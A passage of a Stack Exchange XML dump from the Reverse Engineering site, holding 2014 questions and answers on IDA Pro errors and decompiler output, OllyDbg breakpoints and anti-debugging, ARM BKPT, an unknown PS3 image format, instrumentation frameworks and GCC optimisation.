(77e76caf)&#xA;7c90e514    ntdll!KiFastSystemCallRet (7c90e514)    KERNEL32!WaitForMultipleObjects+0x18 (7c80a115)&#xA;7c90e514    ntdll!KiFastSystemCallRet (7c90e514)    USER32!RealMsgWaitForMultipleObjectsEx+0x13e (7e4195f9)&#xA;7c90e514    ntdll!KiFastSystemCallRet (7c90e514)    KERNEL32!WaitForMultipleObjects+0x18 (7c80a115)&#xA;7c90e514    ntdll!KiFastSystemCallRet (7c90e514)    USER32!RealMsgWaitForMultipleObjectsEx+0x13e (7e4195f9)&#xA;7c90e514    ntdll!KiFastSystemCallRet (7c90e514)    RPCRT4!RecvLotsaCallsWrapper+0xd (77e76caf)&#xA;7c90e514    ntdll!KiFastSystemCallRet (7c90e514)    KERNEL32!Sleep+0xf (7c802455)&#xA;7c90e514    ntdll!KiFastSystemCallRet (7c90e514)    ole32!CRpcThread::WorkerLoop+0x5c (774fe419)&#xA;7c90e514    ntdll!KiFastSystemCallRet (7c90e514)    ole32!CRpcThread::WorkerLoop+0x5c (774fe419)&#xA;7c90e514    ntdll!KiFastSystemCallRet (7c90e514)    KERNEL32!BaseThreadStart+0x37 (7c80b729)&#xA;7c90e514    ntdll!KiFastSystemCallRet (7c90e514)    KERNEL32!BaseThreadStart+0x37 (7c80b729)&#xA;7c90e514    ntdll!KiFastSystemCallRet (7c90e514)    RPCRT4!RecvLotsaCallsWrapper+0xd (77e76caf)&#xA;7c90e514    ntdll!KiFastSystemCallRet (7c90e514)    RPCRT4!RecvLotsaCallsWrapper+0xd (77e76caf)&#xA;7c90e514    ntdll!KiFastSystemCallRet (7c90e514)    KERNEL32!BaseThreadStart+0x37 (7c80b729)&#xA;7c90120e    ntdll!DbgBreakPoint (7c90120e)  00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-03-29T07:09:24.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3989" PostTypeId="2" ParentId="3967" CreationDate="2014-03-29T20:39:37.277" Score="2" Body="&lt;p&gt;In a well protected chip, this is not a trivial task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several methods to try, some in software, some in hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One technique to get around lock bits in the cpu, is to 'glitch' the cpu, by giving it signals which are either too short, or too low a voltage on just the right pins, sometimes this will cause an inconsistent state inside the cpu, allowing one to bypass the memory protection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exact wires you would need depend very much on the specifications of the chip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another technique would be to look for software bugs which allow you to run your own code in the context of the secure memory. This is how some of the early iphone jailbreaks worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a not so well protected system, it might be sufficient to look for the JTAG port, and using some jtag interface you can then sometimes just read the entire memory of the system.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2014-03-29T20:39:37.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3990" PostTypeId="1" CreationDate="2014-03-29T23:08:11.847" Score="2" ViewCount="1428" Body="&lt;p&gt;When I try to load an exe into IDApro it shows up an error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The input file has unaligned section pointers&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What does this mean ?&lt;/p&gt;&#xA;" OwnerUserId="4268" LastEditorUserId="53" LastEditDate="2014-03-30T18:20:40.160" LastActivityDate="2014-03-30T18:20:40.160" Title="The input file has unaligned section pointers" Tags="|ida|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3991" PostTypeId="2" ParentId="3559" CreationDate="2014-03-29T23:43:50.307" Score="1" Body="&lt;p&gt;Have a look at the plugin for IDA Pro called &lt;a href=&quot;http://pnx-tf.blogspot.de/2012/09/idascope-fixed.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Scope&lt;/a&gt;. It has a crypto-identification facility that I think will help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AZSxT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2014-03-29T23:43:50.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3992" PostTypeId="1" AcceptedAnswerId="4768" CreationDate="2014-03-30T12:00:12.417" Score="6" ViewCount="338" Body="&lt;p&gt;All right, I have a PS3 image compressed with a variation of the LZ algoritm (magic bytes &lt;code&gt;43 5A 32 00&lt;/code&gt;) (I have successfully decompressed it) and what I get from the decompressed form is a set of ARGB colors/pixels (The number of bytes in the compressed file is &lt;code&gt;4*width*height&lt;/code&gt; thus I know that the decompressed file problably only contain the raw ARGB data). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image illustrating the result of rendering the ARGB data (transparency omitted to makes thing easier to make out).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Decompressed image:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/N7DIl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PS3 edition screenshot:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ibduR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PSP edition screenshot:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pcJHM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to know is if any of you know what sort of logic this color structure use? To me, it looks like it looks at the last color in terms of the y-axis. Where zero value just gets the value of the last color of the y-axis. It kind of looks like I have to dif/sum colors together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried varies methods. For example, here I try storing a color array with zero color and for each line, sum the unsigned integer representation of ARGB of x position in the array with the new color' unsigned integer -&gt; &lt;code&gt;A+B = C&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UXS2C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A-B=C, just gives pinkish giberish..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some samples of ARGB values that I use to try and find a solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x:0, y:24-27&#xA;&#xA;R   G   B&#xA;&#xA;137 195 255&#xA;&#xA;240 254 000&#xA;&#xA;014 000 255&#xA;&#xA;001 001 001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should give a blueish color (comparing to Game screenshot) like: &lt;code&gt;145, 184, 219&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Please notice that my image for comparison isn't exact. That is to say that I got it from the same game of another platform where another format is used. Since the image sized are different. I can say that the colors aren't 100% the same as the new one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x:4, y:22-28&#xA;&#xA;R   G   B&#xA;&#xA;137 195 255&#xA;&#xA;118 168 201&#xA;&#xA;255 204 161&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This too should give a dark bluerish color like: &lt;code&gt;020, 068, 096&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Please notice that the compared color in the game isn't exact, the image has transparency&#xA;too, so the game has problably messed with the color values of the screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if anybody have encountered stuff like this before and could give me a tip of some sort I would be very happy. :)&lt;/p&gt;&#xA;" OwnerUserId="4024" LastEditorUserId="53" LastEditDate="2014-03-30T18:23:44.037" LastActivityDate="2014-10-05T20:36:52.600" Title="What is this way of representing color in this unknown image format" Tags="|file-format|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="3993" PostTypeId="2" ParentId="3990" CreationDate="2014-03-30T15:32:56.860" Score="3" Body="&lt;p&gt;There are alignment rules for both sections in memory and on disk. For example, PointerToRawData must be a multiple of the FileAlignment field (in the optional header, with the default being 512) and ImageBase+SectionVA must be a multiple of the SectionAlignment field (in the optional header, with the default being the page size of the architecture). SectionAlignment also must be &gt;= FileAlignment.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastActivityDate="2014-03-30T15:32:56.860" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3994" PostTypeId="2" ParentId="3992" CreationDate="2014-03-30T20:16:32.110" Score="-1" Body="&lt;p&gt;Not sure how i would go about this but there is a tool called cantordust that can help with this, it can visualize binary information into pictograms. The link is down below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://sites.google.com/site/xxcantorxdustxx/&quot; rel=&quot;nofollow&quot;&gt;https://sites.google.com/site/xxcantorxdustxx/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4260" LastActivityDate="2014-03-30T20:16:32.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3995" PostTypeId="1" AcceptedAnswerId="3996" CreationDate="2014-03-31T15:25:19.527" Score="1" ViewCount="1963" Body="&lt;p&gt;Assembler syntax&#xA;BKPT #&#xA;where:&#xA; See Standard assembler syntax fields on page A6-7.&#xA; Specifies an 8-bit value that is stored in the instruction. This value is ignored by the ARM &#xA;hardware, but can be used by a debugger to store additional information about the &#xA;breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what should i pass to this function? where can i see that value when i am debugging? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BKPT #0  vs BKPT #1  - is their a difference? &lt;/p&gt;&#xA;" OwnerUserId="4273" LastActivityDate="2017-09-18T12:48:18.123" Title="what does the imediate value of the BKPT opcode is being used for?" Tags="|disassembly|arm|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3996" PostTypeId="2" ParentId="3995" CreationDate="2014-03-31T16:55:40.777" Score="3" Body="&lt;p&gt;From &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0552a/BABHCHGB.html&quot; rel=&quot;nofollow&quot;&gt;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0552a/BABHCHGB.html&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Debug tools can use this to investigate system state when the&#xA;  instruction at a particular address is reached.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;imm&lt;/code&gt; is ignored by the&#xA;  processor. If required, a debugger can use it to store additional&#xA;  information about the breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BKPT #0x3   ; Breakpoint with immediate value set to 0x3 (debugger can&#xA;            ; extract the immediate value by locating it using the PC)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Based on what you pasted in your question, you can use any 8-bit value for &lt;code&gt;imm&lt;/code&gt; for your ARM processor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the value of &lt;code&gt;imm&lt;/code&gt; in your debugger by fetching the instruction at the &lt;code&gt;PC&lt;/code&gt; (program counter) that caused the breakpoint and looking to see what value of &lt;code&gt;imm&lt;/code&gt; was used in that instruction.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-03-31T16:55:40.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3997" PostTypeId="1" CreationDate="2014-03-31T17:10:39.470" Score="2" ViewCount="9481" Body="&lt;p&gt;I loaded an MS-Windows executable in Ollydbg. But as soon as I hit run from the &lt;code&gt;Debug&lt;/code&gt; menu a message shows up: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Breakpoint set at address 76A010B1 is corrupt (contains hex code instead of int3 ...)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And the program doesn't run, rather it breaks to Ollydbg. I am puzzled. What is really going on? I see an &lt;code&gt;isdebugger&lt;/code&gt; call. Fixing it, also, it doesn't run the program. I suppose it's using some advanced anti debugging technique. Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the log from windbg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(a9c.1fd4): Break instruction exception - code 80000003 (first chance)&#xA;*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SYSTEM32\ntdll.dll - &#xA;*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SYSTEM32\KERNEL32.DLL - &#xA;eax=7fe73000 ebx=00000000 ecx=00000000 edx=775edbeb esi=00000000 edi=00000000&#xA;eip=7757f9fc esp=0be4ff58 ebp=0be4ff84 iopl=0  nv up ei pl zr na pe nc&#xA;cs=0023      ss=002b      ds=002b      es=002b fs=0053 gs=002b efl=00000246&#xA;ntdll!DbgBreakPoint:&#xA;    7757f9fc cc              int     3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4268" LastEditorUserId="4304" LastEditDate="2014-04-04T13:19:05.043" LastActivityDate="2014-04-04T13:19:05.043" Title="Program won't run in a olly" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3998" PostTypeId="2" ParentId="3997" CreationDate="2014-03-31T19:16:13.160" Score="2" Body="&lt;p&gt;The API isDebuggerPresent(), determines whether the calling process is being debugged by a user-mode debugger.&#xA;I advise you to use IDA to see all the types of controls antidebug, you can see some &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms679303%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;http://msdn.microsoft.com/en-us/library/windows/desktop/ms679303%28v=vs.85%29.aspx&lt;/a&gt;, also you can automate with plugins for olly, for example &lt;a href=&quot;http://code.google.com/p/aadp/&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/aadp/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4275" LastActivityDate="2014-03-31T19:16:13.160" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3999" PostTypeId="1" AcceptedAnswerId="4002" CreationDate="2014-04-01T02:55:05.873" Score="0" ViewCount="1554" Body="&lt;p&gt;Question came up in a reverse engineering class.  The prof asked this question.  I mean, in the grand scheme of things, while loops == for loops, I don't have a problem with that.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA Pro book... Google... not seeing anything online here.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why does IDA pro never produce for loops in its pseudocode generator?&lt;/p&gt;&#xA;" OwnerUserId="4053" LastEditorUserId="4053" LastEditDate="2014-04-01T13:11:40.407" LastActivityDate="2014-04-01T13:36:30.787" Title="Why does IDA Pro's pseudocode function not produce for loops?" Tags="|ida|ida-plugin|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4000" PostTypeId="2" ParentId="3982" CreationDate="2014-04-01T03:11:06.393" Score="0" Body="&lt;p&gt;Since all threads share the address space of the process that created them, I think what you want is a call to dlsym:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pubs.opengroup.org/onlinepubs/009695399/functions/dlsym.html&quot; rel=&quot;nofollow&quot;&gt;http://pubs.opengroup.org/onlinepubs/009695399/functions/dlsym.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The dlsym() function shall obtain the address of a symbol defined&#xA;  within an object made accessible through a dlopen() call. The handle&#xA;  argument is the value returned from a call to dlopen() (and which has&#xA;  not since been released via a call to dlclose()), and name is the&#xA;  symbol's name as a character string.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;=======NEXT ATTEMPT========&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Started poking around in pthread.h.  The best thing I've found so far is &lt;a href=&quot;http://pubs.opengroup.org/onlinepubs/009695399/functions/pthread_attr_getstack.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;pthread_attr_getstack()&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The stack attributes specify the area of storage to be used for the&#xA;  created thread's stack. The base (lowest addressable byte) of the&#xA;  storage shall be stackaddr, and the size of the storage shall be&#xA;  stacksize bytes. The stacksize shall be at least {PTHREAD_STACK_MIN}.&#xA;  The stackaddr shall be aligned appropriately to be used as a stack;&#xA;  for example, pthread_attr_setstack() may fail with [EINVAL] if (&#xA;  stackaddr &amp;amp; 0x7) is not 0. All pages within the stack described by&#xA;  stackaddr and stacksize shall be both readable and writable by the&#xA;  thread.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There's more on POSIX thread programming &lt;a href=&quot;https://computing.llnl.gov/tutorials/pthreads/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the closest functionality to &lt;code&gt;NtQueryInformationThread&lt;/code&gt; I could find.  &lt;/p&gt;&#xA;" OwnerUserId="4053" LastEditorUserId="4053" LastEditDate="2014-04-03T21:33:36.757" LastActivityDate="2014-04-03T21:33:36.757" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="4001" PostTypeId="2" ParentId="3999" CreationDate="2014-04-01T04:01:58.530" Score="5" Body="&lt;p&gt;The decompiler &lt;em&gt;can&lt;/em&gt; produce &lt;code&gt;for&lt;/code&gt; loops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It uses the &lt;code&gt;Ctree&lt;/code&gt; statement element &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/sdk/hexrays_8hpp_source.shtml#l00997&quot;&gt;&lt;code&gt;cit_for&lt;/code&gt;&lt;/a&gt; and the &lt;code&gt;Ctree&lt;/code&gt; expression &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/sdk/hexrays_8hpp_source.shtml#l01775&quot;&gt;&lt;code&gt;cfor_t&lt;/code&gt;&lt;/a&gt; to represent these code constructs in the decompilation graph.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-04-01T04:01:58.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4002" PostTypeId="2" ParentId="3999" CreationDate="2014-04-01T11:32:57.283" Score="5" Body="&lt;p&gt;Just because you haven't seem them does not mean they don't exist. In my experience the decompiler produces &lt;code&gt;for&lt;/code&gt; loops all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: Here's just one example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; loc_804B520:&#xA;                 xor     edx, edx&#xA;                 jmp     short loc_804B52B&#xA;&#xA; loc_804B524:&#xA;                 mov     al, [edi+edx]&#xA;                 mov     [ebx+edx], al&#xA;                 inc     edx&#xA;&#xA; loc_804B52B:&#xA;                 cmp     edx, esi&#xA;                 jl      short loc_804B524&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  for ( i = 0; i &amp;lt; a2; ++i )&#xA;    *(_BYTE *)(v2 + i) = *(_BYTE *)(a1 + i);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2014-04-01T13:36:30.787" LastActivityDate="2014-04-01T13:36:30.787" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4003" PostTypeId="1" AcceptedAnswerId="4005" CreationDate="2014-04-01T13:04:04.667" Score="6" ViewCount="930" Body="&lt;p&gt;There are some excellent DBI frameworks for Windows (Intel PIN, DynamoRIO...) but unfortunately none of them expose an IR afaik.&#xA;I am looking for something like Valgrind's VEX that works on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers / references would be greatly appreciated. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2018-02-28T06:39:27.157" Title="Is there any Dynamic Binary Instrumentation frameworks for Windows exposing an Intermediate Representation?" Tags="|windows|dynamic-analysis|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4004" PostTypeId="2" ParentId="4003" CreationDate="2014-04-01T13:31:30.270" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://software.intel.com/en-us/articles/pintool/&quot; rel=&quot;nofollow&quot;&gt;Intel's Pin&lt;/a&gt; is probably what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://research.microsoft.com/pubs/69850/tr-2001-50.pdf&quot; rel=&quot;nofollow&quot;&gt;Microsoft's Vulcan&lt;/a&gt; is great, but I don't think it was ever released publicly, at least not in a standalone form.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-04-01T13:31:30.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4005" PostTypeId="2" ParentId="4003" CreationDate="2014-04-01T13:33:18.327" Score="3" Body="&lt;p&gt;If you are searching for lifting assembly to IR,&#xA;look at either &lt;a href=&quot;http://bap.ece.cmu.edu&quot; rel=&quot;nofollow noreferrer&quot;&gt;BAP&lt;/a&gt; or &lt;a href=&quot;https://dslabgit.epfl.ch/git/s2e/s2e.git&quot; rel=&quot;nofollow noreferrer&quot;&gt;RevGen&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 2018: There is also great &lt;a href=&quot;https://github.com/trailofbits/mcsema&quot; rel=&quot;nofollow noreferrer&quot;&gt;McSema&lt;/a&gt; (supports x86, x64 and aarch64).&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2018-02-28T06:39:27.157" LastActivityDate="2018-02-28T06:39:27.157" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4006" PostTypeId="2" ParentId="4003" CreationDate="2014-04-01T13:48:58.467" Score="3" Body="&lt;p&gt;dynamoRIO does expose an IR (see &lt;a href=&quot;http://dynamorio.org/docs/dr__ir__instr_8h.html&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;).&#xA;There is just no &quot;written textual&quot; form of it, it is basically a 1:1 mapping of the underlying assembly language and thus very close to the underlying architecture.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2014-04-01T13:48:58.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4008" PostTypeId="1" AcceptedAnswerId="4009" CreationDate="2014-04-02T16:29:13.983" Score="1" ViewCount="420" Body="&lt;p&gt;For the sake of this question I am going to simplify things. Basically I have a CMP that is comparing a memory address to a constant value. I want to change the constant value to force a match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried changing the constant value by hex editing and changing the value in ollydbg. Both methods cause the application to behave in an undesirable way so there must be a double check which checks the constant value. I have not found this second check yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this is where it gets interesting, if I set a BP with ollydbg on the CMP command without changing anything the application behaves as if there was a change. I have confirmed this multiple times, I do not even have to stop or restart the application, once a BP is set the application behaves in a very distinguishable way and then returns to normal as soon as I remove the BP. This BP is never being hit! I have done some further testing and this only happens if the BP is set on the CMP command or the following 2 commands which are a JE and a MOV&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am wondering what does ollydbg write to memory to set a BP? and is this detectable?&lt;/p&gt;&#xA;" OwnerUserId="3625" LastActivityDate="2014-04-02T16:38:02.283" Title="Ollydbg breakpoint causing application to perform differently without BP being hit" Tags="|ollydbg|memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4009" PostTypeId="2" ParentId="4008" CreationDate="2014-04-02T16:38:02.283" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So I am wondering what does ollydbg write to memory to set a BP? and&#xA;  is this detectable?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;By default, OllyDbg overwrites the beginning of an instruction with &lt;code&gt;INT 3&lt;/code&gt; (machine code &lt;code&gt;0xCC&lt;/code&gt;) for a software breakpoint (though it hides this from your view in order to simplify things). This is configurable in OllyDbg v2, which allows you to instead use &lt;code&gt;INT 1&lt;/code&gt;, &lt;code&gt;HLT&lt;/code&gt;, &lt;code&gt;CLI&lt;/code&gt;, etc. for software breakpoints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both OllyDbg v1 and OllyDbg v2 allow you to use hardware breakpoints or memory breakpoints instead of software breakpoints. All three types of breakpoints are detectable by the debuggee.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-04-02T16:38:02.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4010" PostTypeId="1" AcceptedAnswerId="4012" CreationDate="2014-04-03T01:58:01.033" Score="2" ViewCount="807" Body="&lt;p&gt;How can I find the register value of another process at a specific address using python pydbg or any other module that can do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Address               opcode&#xA;006122CB              mov eax, [ecx+08]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I want to find the value of the ecx register at this address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Windows 7 x64 bit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Program x32 bit&lt;/p&gt;&#xA;" OwnerUserId="4228" LastActivityDate="2014-04-03T04:31:26.170" Title="Find register value of a remote process - pydbg" Tags="|debugging|python|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4011" PostTypeId="1" CreationDate="2014-04-03T04:03:03.517" Score="5" ViewCount="2421" Body="&lt;p&gt;I want to learn more about how GCC optimizes C programs. I have did a disas of a random function both optimized and unoptimized and I want to look at some of the differences. Off the top of my head, the optimized assembly has less jumps, and seems to use registers mostly, while the unoptimized is using memory more often. What other differences are there to note about these two?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;C code&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uint countPairsUpTo(int index, int* intArray, int first, int second)&#xA;{&#xA;  uint i;&#xA;  uint sum = 0;&#xA;&#xA;  for (i = 0; i &amp;lt; index; i++)&#xA;    if ((first == intArray[i]) &amp;amp;&amp;amp; (second == intArray[i+2]))&#xA;      sum++;&#xA;&#xA;  return sum ;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Unoptimized&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x080485b1 &amp;lt;countPairsUpTo+0&amp;gt;:  push   %ebp&#xA;0x080485b2 &amp;lt;countPairsUpTo+1&amp;gt;:  mov    %esp,%ebp&#xA;0x080485b4 &amp;lt;countPairsUpTo+3&amp;gt;:  sub    $0x10,%esp&#xA;0x080485b7 &amp;lt;countPairsUpTo+6&amp;gt;:  call   0x8048418 &amp;lt;mcount@plt&amp;gt;&#xA;0x080485bc &amp;lt;countPairsUpTo+11&amp;gt;: movl   $0x0,-0x4(%ebp)&#xA;0x080485c3 &amp;lt;countPairsUpTo+18&amp;gt;: movl   $0x0,-0x8(%ebp)&#xA;0x080485ca &amp;lt;countPairsUpTo+25&amp;gt;: jmp    0x80485fa &amp;lt;countPairsUpTo+73&amp;gt;&#xA;0x080485cc &amp;lt;countPairsUpTo+27&amp;gt;: mov    -0x8(%ebp),%eax&#xA;0x080485cf &amp;lt;countPairsUpTo+30&amp;gt;: shl    $0x2,%eax&#xA;0x080485d2 &amp;lt;countPairsUpTo+33&amp;gt;: add    0xc(%ebp),%eax&#xA;0x080485d5 &amp;lt;countPairsUpTo+36&amp;gt;: mov    (%eax),%eax&#xA;0x080485d7 &amp;lt;countPairsUpTo+38&amp;gt;: cmp    0x10(%ebp),%eax&#xA;0x080485da &amp;lt;countPairsUpTo+41&amp;gt;: jne    0x80485f6 &amp;lt;countPairsUpTo+69&amp;gt;&#xA;0x080485dc &amp;lt;countPairsUpTo+43&amp;gt;: mov    0xc(%ebp),%edx&#xA;0x080485df &amp;lt;countPairsUpTo+46&amp;gt;: add    $0x8,%edx&#xA;0x080485e2 &amp;lt;countPairsUpTo+49&amp;gt;: mov    -0x8(%ebp),%eax&#xA;0x080485e5 &amp;lt;countPairsUpTo+52&amp;gt;: shl    $0x2,%eax&#xA;0x080485e8 &amp;lt;countPairsUpTo+55&amp;gt;: lea    (%edx,%eax,1),%eax&#xA;0x080485eb &amp;lt;countPairsUpTo+58&amp;gt;: mov    (%eax),%eax&#xA;0x080485ed &amp;lt;countPairsUpTo+60&amp;gt;: cmp    0x14(%ebp),%eax&#xA;0x080485f0 &amp;lt;countPairsUpTo+63&amp;gt;: jne    0x80485f6 &amp;lt;countPairsUpTo+69&amp;gt;&#xA;0x080485f2 &amp;lt;countPairsUpTo+65&amp;gt;: addl   $0x1,-0x4(%ebp)&#xA;0x080485f6 &amp;lt;countPairsUpTo+69&amp;gt;: addl   